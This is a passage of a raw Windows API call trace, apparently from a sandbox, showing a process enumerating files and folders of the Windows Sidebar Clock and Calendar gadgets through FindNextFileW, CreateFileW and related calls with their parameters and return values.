ftCreationTime.dwLowDateTime=0xb7f7bfa4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f7bfa4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3ad5bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fee3c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7fee3c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3afbd1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_bkg.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fee3c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7fee3c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3afbd1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_orange.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fee3c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7fee3c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3afbd1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_ring_docked.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8014520, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8014520, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803a67f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb803a67f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803a67f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb803a67f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg_orange.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80607de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb80607de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xaa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_orange.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80607de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb80607de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c5297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="corner.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c78adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl-hot.png", cAlternateFileName="")) returned 1 [0089.852] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c78adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl.png", cAlternateFileName="")) returned 1 [0089.852] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb40ef41c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="month.png", cAlternateFileName="")) returned 1 [0089.852] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb411557c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-desk.png", cAlternateFileName="")) returned 1 [0089.852] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb411557c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 1 [0089.852] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb411557c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 0 [0089.852] GetLastError () returned 0x12 [0089.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316978) returned 1 [0089.852] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316870) returned 1 [0089.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316768) returned 1 [0089.853] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb443525c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0089.853] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb443525c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0089.853] GetLastError () returned 0x12 [0089.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316240) returned 1 [0089.854] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316348) returned 1 [0089.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.854] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="")) returned 1 [0089.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.855] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.855] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13335e0 [0089.855] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13335e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x13335e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13335e0) returned 1 [0089.856] NtClose (Handle=0x164) returned 0x0 [0089.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efc50 [0089.857] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0089.857] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.857] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ccadbf, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9ccadbf, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44a767c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0089.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2528 [0089.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316348 [0089.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.859] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.859] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0089.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2548 [0089.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316240 [0089.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.861] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0089.861] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf0f1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9cf0f1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb640b89c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0089.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2568 [0089.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316768 [0089.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.862] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf0f1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9cf0f1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb640b89c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0089.863] GetLastError () returned 0x12 [0089.863] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.863] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.863] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.863] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ccadbf, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9ccadbf, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44a767c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0089.863] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316870 [0089.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.864] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.864] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13335e0 [0089.865] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13335e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x13335e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13335e0) returned 1 [0089.865] NtClose (Handle=0x164) returned 0x0 [0089.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316870) returned 1 [0089.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316870 [0089.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316978 [0089.866] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0089.867] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.867] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0089.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318868 [0089.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2588 [0089.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318970 [0089.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.869] FindNextFileW (in: hFindFile=0x2e9080, 